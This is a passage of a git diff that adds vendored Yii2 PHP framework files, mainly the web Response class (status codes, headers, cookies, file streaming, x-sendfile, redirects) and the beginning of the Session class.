self::CSRF_MASK_LENGTH); + $token = StringHelper::byteSubstr($token, self::CSRF_MASK_LENGTH, $n - self::CSRF_MASK_LENGTH); + $token = $this->xorTokens($mask, $token); + + return $token === $trueToken; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/RequestParserInterface.php b/php/yii2/basic/vendor/yiisoft/yii2/web/RequestParserInterface.php new file mode 100644 index 00000000..2108b827 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/RequestParserInterface.php @@ -0,0 +1,25 @@ + + * @since 2.0 + */ +interface RequestParserInterface +{ + /** + * Parses a HTTP request body. + * @param string $rawBody the raw HTTP request body. + * @param string $contentType the content type specified for the request body. + * @return array parameters parsed from the request body + */ + public function parse($rawBody, $contentType); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/Response.php b/php/yii2/basic/vendor/yiisoft/yii2/web/Response.php new file mode 100644 index 00000000..7cbc831a --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/Response.php @@ -0,0 +1,945 @@ +response`. + * + * You can modify its configuration by adding an array to your application config under `components` + * as it is shown in the following example: + * + * ~~~ + * 'response' => [ + * 'format' => yii\web\Response::FORMAT_JSON, + * 'charset' => 'UTF-8', + * // ... + * ] + * ~~~ + * + * @property CookieCollection $cookies The cookie collection. This property is read-only. + * @property string $downloadHeaders The attachment file name. This property is write-only. + * @property HeaderCollection $headers The header collection. This property is read-only. + * @property boolean $isClientError Whether this response indicates a client error. This property is + * read-only. + * @property boolean $isEmpty Whether this response is empty. This property is read-only. + * @property boolean $isForbidden Whether this response indicates the current request is forbidden. This + * property is read-only. + * @property boolean $isInformational Whether this response is informational. This property is read-only. + * @property boolean $isInvalid Whether this response has a valid [[statusCode]]. This property is read-only. + * @property boolean $isNotFound Whether this response indicates the currently requested resource is not + * found. This property is read-only. + * @property boolean $isOk Whether this response is OK. This property is read-only. + * @property boolean $isRedirection Whether this response is a redirection. This property is read-only. + * @property boolean $isServerError Whether this response indicates a server error. This property is + * read-only. + * @property boolean $isSuccessful Whether this response is successful. This property is read-only. + * @property integer $statusCode The HTTP status code to send with the response. + * + * @author Qiang Xue + * @author Carsten Brandt + * @since 2.0 + */ +class Response extends \yii\base\Response +{ + /** + * @event ResponseEvent an event that is triggered at the beginning of [[send()]]. + */ + const EVENT_BEFORE_SEND = 'beforeSend'; + /** + * @event ResponseEvent an event that is triggered at the end of [[send()]]. + */ + const EVENT_AFTER_SEND = 'afterSend'; + /** + * @event ResponseEvent an event that is triggered right after [[prepare()]] is called in [[send()]]. + * You may respond to this event to filter the response content before it is sent to the client. + */ + const EVENT_AFTER_PREPARE = 'afterPrepare'; + + const FORMAT_RAW = 'raw'; + const FORMAT_HTML = 'html'; + const FORMAT_JSON = 'json'; + const FORMAT_JSONP = 'jsonp'; + const FORMAT_XML = 'xml'; + + /** + * @var string the response format. This determines how to convert [[data]] into [[content]] + * when the latter is not set. The value of this property must be one of the keys declared in the [[formatters] array. + * By default, the following formats are supported: + * + * - [[FORMAT_RAW]]: the data will be treated as the response content without any conversion. + * No extra HTTP header will be added. + * - [[FORMAT_HTML]]: the data will be treated as the response content without any conversion. + * The "Content-Type" header will set as "text/html" if it is not set previously. + * - [[FORMAT_JSON]]: the data will be converted into JSON format, and the "Content-Type" + * header will be set as "application/json". + * - [[FORMAT_JSONP]]: the data will be converted into JSONP format, and the "Content-Type" + * header will be set as "text/javascript". Note that in this case `$data` must be an array + * with "data" and "callback" elements. The former refers to the actual data to be sent, + * while the latter refers to the name of the JavaScript callback. + * - [[FORMAT_XML]]: the data will be converted into XML format. Please refer to [[XmlResponseFormatter]] + * for more details. + * + * You may customize the formatting process or support additional formats by configuring [[formatters]]. + * @see formatters + */ + public $format = self::FORMAT_HTML; + /** + * @var string the MIME type (e.g. `application/json`) from the request ACCEPT header chosen for this response. + * This property is mainly set by [\yii\filters\ContentNegotiator]]. + */ + public $acceptMimeType; + /** + * @var array the parameters (e.g. `['q' => 1, 'version' => '1.0']`) associated with the [[acceptMimeType|chosen MIME type]]. + * This is a list of name-value pairs associated with [[acceptMimeType]] from the ACCEPT HTTP header. + * This property is mainly set by [\yii\filters\ContentNegotiator]]. + */ + public $acceptParams = []; + /** + * @var array the formatters for converting data into the response content of the specified [[format]]. + * The array keys are the format names, and the array values are the corresponding configurations + * for creating the formatter objects. + * @see format + */ + public $formatters = []; + /** + * @var mixed the original response data. When this is not null, it will be converted into [[content]] + * according to [[format]] when the response is being sent out. + * @see content + */ + public $data; + /** + * @var string the response content. When [[data]] is not null, it will be converted into [[content]] + * according to [[format]] when the response is being sent out. + * @see data + */ + public $content; + /** + * @var resource|array the stream to be sent. This can be a stream handle or an array of stream handle, + * the begin position and the end position. Note that when this property is set, the [[data]] and [[content]] + * properties will be ignored by [[send()]]. + */ + public $stream; + /** + * @var string the charset of the text response. If not set, it will use + * the value of [[Application::charset]]. + */ + public $charset; + /** + * @var string the HTTP status description that comes together with the status code. + * @see httpStatuses + */ + public $statusText = 'OK'; + /** + * @var string the version of the HTTP protocol to use. If not set, it will be determined via `$_SERVER['SERVER_PROTOCOL']`, + * or '1.1' if that is not available. + */ + public $version; + /** + * @var boolean whether the response has been sent. If this is true, calling [[send()]] will do nothing. + */ + public $isSent = false; + /** + * @var array list of HTTP status codes and the corresponding texts + */ + public static $httpStatuses = [ + 100 => 'Continue', + 101 => 'Switching Protocols', + 102 => 'Processing', + 118 => 'Connection timed out', + 200 => 'OK', + 201 => 'Created', + 202 => 'Accepted', + 203 => 'Non-Authoritative', + 204 => 'No Content', + 205 => 'Reset Content', + 206 => 'Partial Content', + 207 => 'Multi-Status', + 208 => 'Already Reported', + 210 => 'Content Different', + 226 => 'IM Used', + 300 => 'Multiple Choices', + 301 => 'Moved Permanently', + 302 => 'Found', + 303 => 'See Other', + 304 => 'Not Modified', + 305 => 'Use Proxy', + 306 => 'Reserved', + 307 => 'Temporary Redirect', + 308 => 'Permanent Redirect', + 310 => 'Too many Redirect', + 400 => 'Bad Request', + 401 => 'Unauthorized', + 402 => 'Payment Required', + 403 => 'Forbidden', + 404 => 'Not Found', + 405 => 'Method Not Allowed', + 406 => 'Not Acceptable', + 407 => 'Proxy Authentication Required', + 408 => 'Request Time-out', + 409 => 'Conflict', + 410 => 'Gone', + 411 => 'Length Required', + 412 => 'Precondition Failed', + 413 => 'Request Entity Too Large', + 414 => 'Request-URI Too Long', + 415 => 'Unsupported Media Type', + 416 => 'Requested range unsatisfiable', + 417 => 'Expectation failed', + 418 => 'I\'m a teapot', + 422 => 'Unprocessable entity', + 423 => 'Locked', + 424 => 'Method failure', + 425 => 'Unordered Collection', + 426 => 'Upgrade Required', + 428 => 'Precondition Required', + 429 => 'Too Many Requests', + 431 => 'Request Header Fields Too Large', + 449 => 'Retry With', + 450 => 'Blocked by Windows Parental Controls', + 500 => 'Internal Server Error', + 501 => 'Not Implemented', + 502 => 'Bad Gateway or Proxy Error', + 503 => 'Service Unavailable', + 504 => 'Gateway Time-out', + 505 => 'HTTP Version not supported', + 507 => 'Insufficient storage', + 508 => 'Loop Detected', + 509 => 'Bandwidth Limit Exceeded', + 510 => 'Not Extended', + 511 => 'Network Authentication Required', + ]; + + /** + * @var integer the HTTP status code to send with the response. + */ + private $_statusCode = 200; + /** + * @var HeaderCollection + */ + private $_headers; + + + /** + * Initializes this component. + */ + public function init() + { + if ($this->version === null) { + if (isset($_SERVER['SERVER_PROTOCOL']) && $_SERVER['SERVER_PROTOCOL'] === 'HTTP/1.0') { + $this->version = '1.0'; + } else { + $this->version = '1.1'; + } + } + if ($this->charset === null) { + $this->charset = Yii::$app->charset; + } + $formatters = $this->defaultFormatters(); + $this->formatters = empty($this->formatters) ? $formatters : array_merge($formatters, $this->formatters); + } + + /** + * @return integer the HTTP status code to send with the response. + */ + public function getStatusCode() + { + return $this->_statusCode; + } + + /** + * Sets the response status code. + * This method will set the corresponding status text if `$text` is null. + * @param integer $value the status code + * @param string $text the status text. If not set, it will be set automatically based on the status code. + * @throws InvalidParamException if the status code is invalid. + */ + public function setStatusCode($value, $text = null) + { + if ($value === null) { + $value = 200; + } + $this->_statusCode = (int) $value; + if ($this->getIsInvalid()) { + throw new InvalidParamException("The HTTP status code is invalid: $value"); + } + if ($text === null) { + $this->statusText = isset(static::$httpStatuses[$this->_statusCode]) ? static::$httpStatuses[$this->_statusCode] : ''; + } else { + $this->statusText = $text; + } + } + + /** + * Returns the header collection. + * The header collection contains the currently registered HTTP headers. + * @return HeaderCollection the header collection + */ + public function getHeaders() + { + if ($this->_headers === null) { + $this->_headers = new HeaderCollection; + } + return $this->_headers; + } + + /** + * Sends the response to the client. + */ + public function send() + { + if ($this->isSent) { + return; + } + $this->trigger(self::EVENT_BEFORE_SEND); + $this->prepare(); + $this->trigger(self::EVENT_AFTER_PREPARE); + $this->sendHeaders(); + $this->sendContent(); + $this->trigger(self::EVENT_AFTER_SEND); + $this->isSent = true; + } + + /** + * Clears the headers, cookies, content, status code of the response. + */ + public function clear() + { + $this->_headers = null; + $this->_cookies = null; + $this->_statusCode = 200; + $this->statusText = 'OK'; + $this->data = null; + $this->stream = null; + $this->content = null; + $this->isSent = false; + } + + /** + * Sends the response headers to the client + */ + protected function sendHeaders() + { + if (headers_sent()) { + return; + } + $statusCode = $this->getStatusCode(); + header("HTTP/{$this->version} $statusCode {$this->statusText}"); + if ($this->_headers) { + $headers = $this->getHeaders(); + foreach ($headers as $name => $values) { + $name = str_replace(' ', '-', ucwords(str_replace('-', ' ', $name))); + // set replace for first occurrence of header but false afterwards to allow multiple + $replace = true; + foreach ($values as $value) { + header("$name: $value", $replace); + $replace = false; + } + } + } + $this->sendCookies(); + } + + /** + * Sends the cookies to the client. + */ + protected function sendCookies() + { + if ($this->_cookies === null) { + return; + } + $request = Yii::$app->getRequest(); + if ($request->enableCookieValidation) { + if ($request->cookieValidationKey == '') { + throw new InvalidConfigException(get_class($request) . '::cookieValidationKey must be configured with a secret key.'); + } + $validationKey = $request->cookieValidationKey; + } + foreach ($this->getCookies() as $cookie) { + $value = $cookie->value; + if ($cookie->expire != 1 && isset($validationKey)) { + $value = Yii::$app->getSecurity()->hashData(serialize($value), $validationKey); + } + setcookie($cookie->name, $value, $cookie->expire, $cookie->path, $cookie->domain, $cookie->secure, $cookie->httpOnly); + } + $this->getCookies()->removeAll(); + } + + /** + * Sends the response content to the client + */ + protected function sendContent() + { + if ($this->stream === null) { + echo $this->content; + + return; + } + + set_time_limit(0); // Reset time limit for big files + $chunkSize = 8 * 1024 * 1024; // 8MB per chunk + + if (is_array($this->stream)) { + list ($handle, $begin, $end) = $this->stream; + fseek($handle, $begin); + while (!feof($handle) && ($pos = ftell($handle)) <= $end) { + if ($pos + $chunkSize > $end) { + $chunkSize = $end - $pos + 1; + } + echo fread($handle, $chunkSize); + flush(); // Free up memory. Otherwise large files will trigger PHP's memory limit. + } + fclose($handle); + } else { + while (!feof($this->stream)) { + echo fread($this->stream, $chunkSize); + flush(); + } + fclose($this->stream); + } + } + + /** + * Sends a file to the browser. + * + * Note that this method only prepares the response for file sending. The file is not sent + * until [[send()]] is called explicitly or implicitly. The latter is done after you return from a controller action. + * + * @param string $filePath the path of the file to be sent. + * @param string $attachmentName the file name shown to the user. If null, it will be determined from `$filePath`. + * @param array $options additional options for sending the file. The following options are supported: + * + * - `mimeType`: the MIME type of the content. If not set, it will be guessed based on `$filePath` + * - `inline`: boolean, whether the browser should open the file within the browser window. Defaults to false, + * meaning a download dialog will pop up. + * + * @return static the response object itself + */ + public function sendFile($filePath, $attachmentName = null, $options = []) + { + if (!isset($options['mimeType'])) { + $options['mimeType'] = FileHelper::getMimeTypeByExtension($filePath); + } + if ($attachmentName === null) { + $attachmentName = basename($filePath); + } + $handle = fopen($filePath, 'rb'); + $this->sendStreamAsFile($handle, $attachmentName, $options); + + return $this; + } + + /** + * Sends the specified content as a file to the browser. + * + * Note that this method only prepares the response for file sending. The file is not sent + * until [[send()]] is called explicitly or implicitly. The latter is done after you return from a controller action. + * + * @param string $content the content to be sent. The existing [[content]] will be discarded. + * @param string $attachmentName the file name shown to the user. + * @param array $options additional options for sending the file. The following options are supported: + * + * - `mimeType`: the MIME type of the content. Defaults to 'application/octet-stream'. + * - `inline`: boolean, whether the browser should open the file within the browser window. Defaults to false, + * meaning a download dialog will pop up. + * + * @return static the response object itself + * @throws HttpException if the requested range is not satisfiable + */ + public function sendContentAsFile($content, $attachmentName, $options = []) + { + $headers = $this->getHeaders(); + + $contentLength = StringHelper::byteLength($content); + $range = $this->getHttpRange($contentLength); + + if ($range === false) { + $headers->set('Content-Range', "bytes */$contentLength"); + throw new HttpException(416, 'Requested range not satisfiable'); + } + + $mimeType = isset($options['mimeType']) ? $options['mimeType'] : 'application/octet-stream'; + $this->setDownloadHeaders($attachmentName, $mimeType, !empty($options['inline']), $contentLength); + + list($begin, $end) = $range; + if ($begin != 0 || $end != $contentLength - 1) { + $this->setStatusCode(206); + $headers->set('Content-Range', "bytes $begin-$end/$contentLength"); + $this->content = StringHelper::byteSubstr($content, $begin, $end - $begin + 1); + } else { + $this->setStatusCode(200); + $this->content = $content; + } + + $this->format = self::FORMAT_RAW; + + return $this; + } + + /** + * Sends the specified stream as a file to the browser. + * + * Note that this method only prepares the response for file sending. The file is not sent + * until [[send()]] is called explicitly or implicitly. The latter is done after you return from a controller action. + * + * @param resource $handle the handle of the stream to be sent. + * @param string $attachmentName the file name shown to the user. + * @param array $options additional options for sending the file. The following options are supported: + * + * - `mimeType`: the MIME type of the content. Defaults to 'application/octet-stream'. + * - `inline`: boolean, whether the browser should open the file within the browser window. Defaults to false, + * meaning a download dialog will pop up. + * + * @return static the response object itself + * @throws HttpException if the requested range cannot be satisfied. + */ + public function sendStreamAsFile($handle, $attachmentName, $options = []) + { + $headers = $this->getHeaders(); + fseek($handle, 0, SEEK_END); + $fileSize = ftell($handle); + + $range = $this->getHttpRange($fileSize); + if ($range === false) { + $headers->set('Content-Range', "bytes */$fileSize"); + throw new HttpException(416, 'Requested range not satisfiable'); + } + + list($begin, $end) = $range; + if ($begin != 0 || $end != $fileSize - 1) { + $this->setStatusCode(206); + $headers->set('Content-Range', "bytes $begin-$end/$fileSize"); + } else { + $this->setStatusCode(200); + } + + $mimeType = isset($options['mimeType']) ? $options['mimeType'] : 'application/octet-stream'; + $this->setDownloadHeaders($attachmentName, $mimeType, !empty($options['inline']), $end - $begin + 1); + + $this->format = self::FORMAT_RAW; + $this->stream = [$handle, $begin, $end]; + + return $this; + } + + /** + * Sets a default set of HTTP headers for file downloading purpose. + * @param string $attachmentName the attachment file name + * @param string $mimeType the MIME type for the response. If null, `Content-Type` header will NOT be set. + * @param boolean $inline whether the browser should open the file within the browser window. Defaults to false, + * meaning a download dialog will pop up. + * @param integer $contentLength the byte length of the file being downloaded. If null, `Content-Length` header will NOT be set. + * @return static the response object itself + */ + public function setDownloadHeaders($attachmentName, $mimeType = null, $inline = false, $contentLength = null) + { + $headers = $this->getHeaders(); + + $disposition = $inline ? 'inline' : 'attachment'; + $headers->setDefault('Pragma', 'public') + ->setDefault('Accept-Ranges', 'bytes') + ->setDefault('Expires', '0') + ->setDefault('Cache-Control', 'must-revalidate, post-check=0, pre-check=0') + ->setDefault('Content-Transfer-Encoding', 'binary') + ->setDefault('Content-Disposition', "$disposition; filename=\"$attachmentName\""); + + if ($mimeType !== null) { + $headers->setDefault('Content-Type', $mimeType); + } + + if ($contentLength !== null) { + $headers->setDefault('Content-Length', $contentLength); + } + + return $this; + } + + /** + * Determines the HTTP range given in the request. + * @param integer $fileSize the size of the file that will be used to validate the requested HTTP range. + * @return array|boolean the range (begin, end), or false if the range request is invalid. + */ + protected function getHttpRange($fileSize) + { + if (!isset($_SERVER['HTTP_RANGE']) || $_SERVER['HTTP_RANGE'] === '-') { + return [0, $fileSize - 1]; + } + if (!preg_match('/^bytes=(\d*)-(\d*)$/', $_SERVER['HTTP_RANGE'], $matches)) { + return false; + } + if ($matches[1] === '') { + $start = $fileSize - $matches[2]; + $end = $fileSize - 1; + } elseif ($matches[2] !== '') { + $start = $matches[1]; + $end = $matches[2]; + if ($end >= $fileSize) { + $end = $fileSize - 1; + } + } else { + $start = $matches[1]; + $end = $fileSize - 1; + } + if ($start < 0 || $start > $end) { + return false; + } else { + return [$start, $end]; + } + } + + /** + * Sends existing file to a browser as a download using x-sendfile. + * + * X-Sendfile is a feature allowing a web application to redirect the request for a file to the webserver + * that in turn processes the request, this way eliminating the need to perform tasks like reading the file + * and sending it to the user. When dealing with a lot of files (or very big files) this can lead to a great + * increase in performance as the web application is allowed to terminate earlier while the webserver is + * handling the request. + * + * The request is sent to the server through a special non-standard HTTP-header. + * When the web server encounters the presence of such header it will discard all output and send the file + * specified by that header using web server internals including all optimizations like caching-headers. + * + * As this header directive is non-standard different directives exists for different web servers applications: + * + * - Apache: [X-Sendfile](http://tn123.org/mod_xsendfile) + * - Lighttpd v1.4: [X-LIGHTTPD-send-file](http://redmine.lighttpd.net/projects/lighttpd/wiki/X-LIGHTTPD-send-file) + * - Lighttpd v1.5: [X-Sendfile](http://redmine.lighttpd.net/projects/lighttpd/wiki/X-LIGHTTPD-send-file) + * - Nginx: [X-Accel-Redirect](http://wiki.nginx.org/XSendfile) + * - Cherokee: [X-Sendfile and X-Accel-Redirect](http://www.cherokee-project.com/doc/other_goodies.html#x-sendfile) + * + * So for this method to work the X-SENDFILE option/module should be enabled by the web server and + * a proper xHeader should be sent. + * + * **Note** + * + * This option allows to download files that are not under web folders, and even files that are otherwise protected + * (deny from all) like `.htaccess`. + * + * **Side effects** + * + * If this option is disabled by the web server, when this method is called a download configuration dialog + * will open but the downloaded file will have 0 bytes. + * + * **Known issues** + * + * There is a Bug with Internet Explorer 6, 7 and 8 when X-SENDFILE is used over an SSL connection, it will show + * an error message like this: "Internet Explorer was not able to open this Internet site. The requested site + * is either unavailable or cannot be found.". You can work around this problem by removing the `Pragma`-header. + * + * **Example** + * + * ~~~ + * Yii::$app->response->xSendFile('/home/user/Pictures/picture1.jpg'); + * ~~~ + * + * @param string $filePath file name with full path + * @param string $attachmentName file name shown to the user. If null, it will be determined from `$filePath`. + * @param array $options additional options for sending the file. The following options are supported: + * + * - `mimeType`: the MIME type of the content. If not set, it will be guessed based on `$filePath` + * - `inline`: boolean, whether the browser should open the file within the browser window. Defaults to false, + * meaning a download dialog will pop up. + * - xHeader: string, the name of the x-sendfile header. Defaults to "X-Sendfile". + * + * @return static the response object itself + */ + public function xSendFile($filePath, $attachmentName = null, $options = []) + { + if ($attachmentName === null) { + $attachmentName = basename($filePath); + } + if (isset($options['mimeType'])) { + $mimeType = $options['mimeType']; + } elseif (($mimeType = FileHelper::getMimeTypeByExtension($filePath)) === null) { + $mimeType = 'application/octet-stream'; + } + if (isset($options['xHeader'])) { + $xHeader = $options['xHeader']; + } else { + $xHeader = 'X-Sendfile'; + } + + $disposition = empty($options['inline']) ? 'attachment' : 'inline'; + $this->getHeaders() + ->setDefault($xHeader, $filePath) + ->setDefault('Content-Type', $mimeType) + ->setDefault('Content-Disposition', "{$disposition}; filename=\"{$attachmentName}\""); + + return $this; + } + + /** + * Redirects the browser to the specified URL. + * + * This method adds a "Location" header to the current response. Note that it does not send out + * the header until [[send()]] is called. In a controller action you may use this method as follows: + * + * ~~~ + * return Yii::$app->getResponse()->redirect($url); + * ~~~ + * + * In other places, if you want to send out the "Location" header immediately, you should use + * the following code: + * + * ~~~ + * Yii::$app->getResponse()->redirect($url)->send(); + * return; + * ~~~ + * + * In AJAX mode, this normally will not work as expected unless there are some + * client-side JavaScript code handling the redirection. To help achieve this goal, + * this method will send out a "X-Redirect" header instead of "Location". + * + * If you use the "yii" JavaScript module, it will handle the AJAX redirection as + * described above. Otherwise, you should write the following JavaScript code to + * handle the redirection: + * + * ~~~ + * $document.ajaxComplete(function (event, xhr, settings) { + * var url = xhr.getResponseHeader('X-Redirect'); + * if (url) { + * window.location = url; + * } + * }); + * ~~~ + * + * @param string|array $url the URL to be redirected to. This can be in one of the following formats: + * + * - a string representing a URL (e.g. "http://example.com") + * - a string representing a URL alias (e.g. "@example.com") + * - an array in the format of `[$route, ...name-value pairs...]` (e.g. `['site/index', 'ref' => 1]`). + * Note that the route is with respect to the whole application, instead of relative to a controller or module. + * [[Url::to()]] will be used to convert the array into a URL. + * + * Any relative URL will be converted into an absolute one by prepending it with the host info + * of the current request. + * + * @param integer $statusCode the HTTP status code. Defaults to 302. + * See + * for details about HTTP status code + * @return static the response object itself + */ + public function redirect($url, $statusCode = 302) + { + if (is_array($url) && isset($url[0])) { + // ensure the route is absolute + $url[0] = '/' . ltrim($url[0], '/'); + } + $url = Url::to($url); + if (strpos($url, '/') === 0 && strpos($url, '//') !== 0) { + $url = Yii::$app->getRequest()->getHostInfo() . $url; + } + + if (Yii::$app->getRequest()->getIsPjax()) { + $this->getHeaders()->set('X-Pjax-Url', $url); + } elseif (Yii::$app->getRequest()->getIsAjax()) { + $this->getHeaders()->set('X-Redirect', $url); + } else { + $this->getHeaders()->set('Location', $url); + } + $this->setStatusCode($statusCode); + + return $this; + } + + /** + * Refreshes the current page. + * The effect of this method call is the same as the user pressing the refresh button of his browser + * (without re-posting data). + * + * In a controller action you may use this method like this: + * + * ~~~ + * return Yii::$app->getResponse()->refresh(); + * ~~~ + * + * @param string $anchor the anchor that should be appended to the redirection URL. + * Defaults to empty. Make sure the anchor starts with '#' if you want to specify it. + * @return Response the response object itself + */ + public function refresh($anchor = '') + { + return $this->redirect(Yii::$app->getRequest()->getUrl() . $anchor); + } + + private $_cookies; + + /** + * Returns the cookie collection. + * Through the returned cookie collection, you add or remove cookies as follows, + * + * ~~~ + * // add a cookie + * $response->cookies->add(new Cookie([ + * 'name' => $name, + * 'value' => $value, + * ]); + * + * // remove a cookie + * $response->cookies->remove('name'); + * // alternatively + * unset($response->cookies['name']); + * ~~~ + * + * @return CookieCollection the cookie collection. + */ + public function getCookies() + { + if ($this->_cookies === null) { + $this->_cookies = new CookieCollection; + } + return $this->_cookies; + } + + /** + * @return boolean whether this response has a valid [[statusCode]]. + */ + public function getIsInvalid() + { + return $this->getStatusCode() < 100 || $this->getStatusCode() >= 600; + } + + /** + * @return boolean whether this response is informational + */ + public function getIsInformational() + { + return $this->getStatusCode() >= 100 && $this->getStatusCode() < 200; + } + + /** + * @return boolean whether this response is successful + */ + public function getIsSuccessful() + { + return $this->getStatusCode() >= 200 && $this->getStatusCode() < 300; + } + + /** + * @return boolean whether this response is a redirection + */ + public function getIsRedirection() + { + return $this->getStatusCode() >= 300 && $this->getStatusCode() < 400; + } + + /** + * @return boolean whether this response indicates a client error + */ + public function getIsClientError() + { + return $this->getStatusCode() >= 400 && $this->getStatusCode() < 500; + } + + /** + * @return boolean whether this response indicates a server error + */ + public function getIsServerError() + { + return $this->getStatusCode() >= 500 && $this->getStatusCode() < 600; + } + + /** + * @return boolean whether this response is OK + */ + public function getIsOk() + { + return $this->getStatusCode() == 200; + } + + /** + * @return boolean whether this response indicates the current request is forbidden + */ + public function getIsForbidden() + { + return $this->getStatusCode() == 403; + } + + /** + * @return boolean whether this response indicates the currently requested resource is not found + */ + public function getIsNotFound() + { + return $this->getStatusCode() == 404; + } + + /** + * @return boolean whether this response is empty + */ + public function getIsEmpty() + { + return in_array($this->getStatusCode(), [201, 204, 304]); + } + + /** + * @return array the formatters that are supported by default + */ + protected function defaultFormatters() + { + return [ + self::FORMAT_HTML => 'yii\web\HtmlResponseFormatter', + self::FORMAT_XML => 'yii\web\XmlResponseFormatter', + self::FORMAT_JSON => 'yii\web\JsonResponseFormatter', + self::FORMAT_JSONP => [ + 'class' => 'yii\web\JsonResponseFormatter', + 'useJsonp' => true, + ], + ]; + } + + /** + * Prepares for sending the response. + * The default implementation will convert [[data]] into [[content]] and set headers accordingly. + * @throws InvalidConfigException if the formatter for the specified format is invalid or [[format]] is not supported + */ + protected function prepare() + { + if ($this->stream !== null || $this->data === null) { + return; + } + + if (isset($this->formatters[$this->format])) { + $formatter = $this->formatters[$this->format]; + if (!is_object($formatter)) { + $this->formatters[$this->format] = $formatter = Yii::createObject($formatter); + } + if ($formatter instanceof ResponseFormatterInterface) { + $formatter->format($this); + } else { + throw new InvalidConfigException("The '{$this->format}' response formatter is invalid. It must implement the ResponseFormatterInterface."); + } + } elseif ($this->format === self::FORMAT_RAW) { + $this->content = $this->data; + } else { + throw new InvalidConfigException("Unsupported response format: {$this->format}"); + } + + if (is_array($this->content)) { + throw new InvalidParamException("Response content must not be an array."); + } elseif (is_object($this->content)) { + if (method_exists($this->content, '__toString')) { + $this->content = $this->content->__toString(); + } else { + throw new InvalidParamException("Response content must be a string or an object implementing __toString()."); + } + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/ResponseFormatterInterface.php b/php/yii2/basic/vendor/yiisoft/yii2/web/ResponseFormatterInterface.php new file mode 100644 index 00000000..585c755a --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/ResponseFormatterInterface.php @@ -0,0 +1,23 @@ + + * @since 2.0 + */ +interface ResponseFormatterInterface +{ + /** + * Formats the specified response. + * @param Response $response the response to be formatted. + */ + public function format($response); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/ServerErrorHttpException.php b/php/yii2/basic/vendor/yiisoft/yii2/web/ServerErrorHttpException.php new file mode 100644 index 00000000..a7bb2763 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/ServerErrorHttpException.php @@ -0,0 +1,28 @@ + + * @since 2.0 + */ +class ServerErrorHttpException extends HttpException +{ + /** + * Constructor. + * @param string $message error message + * @param integer $code error code + * @param \Exception $previous The previous exception used for the exception chaining. + */ + public function __construct($message = null, $code = 0, \Exception $previous = null) + { + parent::__construct(500, $message, $code, $previous); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/Session.php b/php/yii2/basic/vendor/yiisoft/yii2/web/Session.php new file mode 100644 index 00000000..7a77eabf --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/Session.php @@ -0,0 +1,854 @@ +session`. + * + * To start the session, call [[open()]]; To complete and send out session data, call [[close()]]; + * To destroy the session, call [[destroy()]]. + * + * Session can be used like an array to set and get session data. For example, + * + * ~~~ + * $session = new Session; + * $session->open(); + * $value1 = $session['name1']; // get session variable 'name1' + * $value2 = $session['name2']; // get session variable 'name2' + * foreach ($session as $name => $value) // traverse all session variables + * $session['name3'] = $value3; // set session variable 'name3' + * ~~~ + * + * Session can be extended to support customized session storage. + * To do so, override [[useCustomStorage]] so that it returns true, and + * override these methods with the actual logic about using custom storage: + * [[openSession()]], [[closeSession()]], [[readSession()]], [[writeSession()]], + * [[destroySession()]] and [[gcSession()]]. + * + * Session also supports a special type of session data, called *flash messages*. + * A flash message is available only in the current request and the next request. + * After that, it will be deleted automatically. Flash messages are particularly + * useful for displaying confirmation messages. To use flash messages, simply + * call methods such as [[setFlash()]], [[getFlash()]]. + * + * @property array $allFlashes Flash messages (key => message or key => [message1, message2]). This property + * is read-only. + * @property array $cookieParams The session cookie parameters. This property is read-only. + * @property integer $count The number of session variables. This property is read-only. + * @property string $flash The key identifying the flash message. Note that flash messages and normal session + * variables share the same name space. If you have a normal session variable using the same name, its value will + * be overwritten by this method. This property is write-only. + * @property float $gCProbability The probability (percentage) that the GC (garbage collection) process is + * started on every session initialization, defaults to 1 meaning 1% chance. + * @property boolean $hasSessionId Whether the current request has sent the session ID. + * @property string $id The current session ID. + * @property boolean $isActive Whether the session has started. This property is read-only. + * @property SessionIterator $iterator An iterator for traversing the session variables. This property is + * read-only. + * @property string $name The current session name. + * @property string $savePath The current session save path, defaults to '/tmp'. + * @property integer $timeout The number of seconds after which data will be seen as 'garbage' and cleaned up. + * The default value is 1440 seconds (or the value of "session.gc_maxlifetime" set in php.ini). + * @property boolean|null $useCookies The value indicating whether cookies should be used to store session + * IDs. + * @property boolean $useCustomStorage Whether to use custom storage. This property is read-only. + * @property boolean $useTransparentSessionID Whether transparent sid support is enabled or not, defaults to + * false. + * + * @author Qiang Xue + * @since 2.0 + */ +class Session extends Component implements \IteratorAggregate, \ArrayAccess, \Countable +{ + /** + * @var string the name of the session variable that stores the flash message data. + */ + public $flashParam = '__flash'; + /** + * @var \SessionHandlerInterface|array an object implementing the SessionHandlerInterface or a configuration array. If set, will be used to provide persistency instead of build-in methods. + */ + public $handler; + + /** + * @var array parameter-value pairs to override default session cookie parameters that are used for session_set_cookie_params() function + * Array may have the following possible keys: 'lifetime', 'path', 'domain', 'secure', 'httponly' + * @see http://www.php.net/manual/en/function.session-set-cookie-params.php + */ + private $_cookieParams = ['httponly' => true]; + + + /** + * Initializes the application component. + * This method is required by IApplicationComponent and is invoked by application. + */ + public function init() + { + parent::init(); + register_shutdown_function([$this, 'close']); + } + + /** + * Returns a value indicating whether to use custom session storage. + * This method should be overridden to return true by child classes that implement custom session storage. + * To implement custom session storage, override these methods: [[openSession()]], [[closeSession()]], + * [[readSession()]], [[writeSession()]], [[destroySession()]] and [[gcSession()]]. + * @return boolean whether to use custom storage. + */ + public function getUseCustomStorage() + { + return false; + } + + /** + * Starts the session. + */ + public function open() + { + if ($this->getIsActive()) { + return; + } + + $this->registerSessionHandler(); + + $this->setCookieParamsInternal(); + + @session_start(); + + if ($this->getIsActive()) { + Yii::info('Session started', __METHOD__); + $this->updateFlashCounters(); + } else { + $error = error_get_last(); + $message = isset($error['message']) ? $error['message'] : 'Failed to start session.'; + Yii::error($message, __METHOD__); + } + } + + /** + * Registers session handler. + * @throws \yii\base\InvalidConfigException + */ + protected function registerSessionHandler() + { + if ($this->handler !== null) { + if (!is_object($this->handler)) { + $this->handler = 